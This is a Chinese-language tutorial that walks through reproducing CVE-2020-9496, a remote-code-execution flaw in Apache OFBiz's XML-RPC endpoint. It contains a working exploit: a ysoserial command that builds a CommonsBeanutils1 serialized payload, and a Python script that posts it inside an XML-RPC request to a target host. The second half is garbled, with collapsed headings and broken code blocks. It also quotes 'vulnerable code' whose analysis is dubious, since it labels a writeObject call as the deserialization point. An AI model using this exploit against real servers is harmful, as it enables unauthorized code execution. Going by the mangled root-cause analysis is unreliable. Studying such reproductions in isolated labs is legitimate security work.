# 怎樣實現Apache Ofbiz XMLRPC RCE漏洞CVE-2020-9496的復現
## 前言
Apache OFBiz(Open For Business)是一個開源的企業資源規劃(ERP)系統,提供了一套完整的企業級應用框架。2020年曝光的CVE-2020-9496漏洞影響了Apache OFBiz的XML-RPC組件,攻擊者可通過構造惡意請求實現遠程代碼執行(RCE)。本文將詳細分析該漏洞原理,并提供完整的復現過程。
---
## 一、漏洞概述
### 1.1 漏洞基本信息
- **漏洞編號**:CVE-2020-9496
- **漏洞類型**:反序列化漏洞 → 遠程代碼執行
- **影響版本**:Apache OFBiz < 17.12.06
- **CVSS評分**:9.8(Critical)
- **漏洞組件**:`org.apache.ofbiz.service.xmlrpc.XmlRpcClient`
### 1.2 漏洞原理
漏洞源于OFBiz的XML-RPC服務在處理請求時未對輸入數據進行嚴格的反序列化安全檢查。攻擊者可通過構造包含惡意序列化數據的XML-RPC請求,觸發服務器端Java反序列化鏈,最終實現任意代碼執行。
---
## 二、環境搭建
### 2.1 實驗環境要求
- **靶機環境**:
- 操作系統:Ubuntu 20.04 LTS
- 軟件版本:Apache OFBiz 17.12.05(漏洞版本)
- Java環境:OpenJDK 8
- **攻擊機環境**:
- Kali Linux 2023
- Python 3 + 相關漏洞利用工具
### 2.2 靶機部署步驟
1. 下載漏洞版本OFBiz:
```bash
wget https://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.05.zip
unzip apache-ofbiz-17.12.05.zip
cd apache-ofbiz-17.12.05
./gradlew cleanAll loadAll ofbiz
通過發送惡意XML-RPC請求驗證服務是否可解析序列化數據:
import requests
import xmlrpc.client
target = "https://192.168.1.100:8443/webtools/control/xmlrpc"
proxy = xmlrpc.client.ServerProxy(target, verbose=True)
# 嘗試調用系統方法
try:
print(proxy.system.listMethods())
except Exception as e:
print(f"Error: {e}")
若返回java.io.Serializable相關錯誤,說明存在反序列化點。
使用ysoserial工具生成CommonsBeanutils1鏈的Payload:
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/poc_success" > payload.ser
通過Python發送包含序列化數據的XML-RPC請求:
import requests
import base64
url = "https://192.168.1.100:8443/webtools/control/xmlrpc"
headers = {"Content-Type": "application/xml"}
with open("payload.ser", "rb") as f:
payload = base64.b64encode(f.read()).decode()
xml_data = f"""<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{payload}</serializable>
</value>
</param>
</params>
</methodCall>"""
response = requests.post(url, data=xml_data, headers=headers, verify=False)
print(response.text)
登錄靶機檢查命令是否執行:
ls -la /tmp/poc_success
漏洞位于XmlRpcClient.java的處理邏輯中:
public Object execute(String methodName, Object[] params) {
// ...
if (params[i] instanceof Serializable) {
serializer.writeObject(params[i]); // 危險的反序列化點
}
}
Serializable對象的請求ObjectInputStream解析數據PropertyUtils.getProperty()被觸發<!-- 在ofbiz-component.xml中禁用XML-RPC -->
<service-group name="webtools">
<service name="xmlrpc" mode="disabled"/>
</service-group>
漏洞利用限制:
webtools組件暴露在外網滲透測試建議:
graph LR
A[端口掃描] --> B[識別OFBiz版本]
B --> C{版本<17.12.06?}
C -->|Yes| D[嘗試XML-RPC請求]
C -->|No| E[放棄]
延伸學習:
本文僅用于安全研究學習,未經授權不得對真實系統進行測試。 “`
注:實際復現時需注意: 1. 替換示例中的IP地址為實際靶機地址 2. 根據目標環境調整Payload(如命令注入方式) 3. 建議在隔離環境測試
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。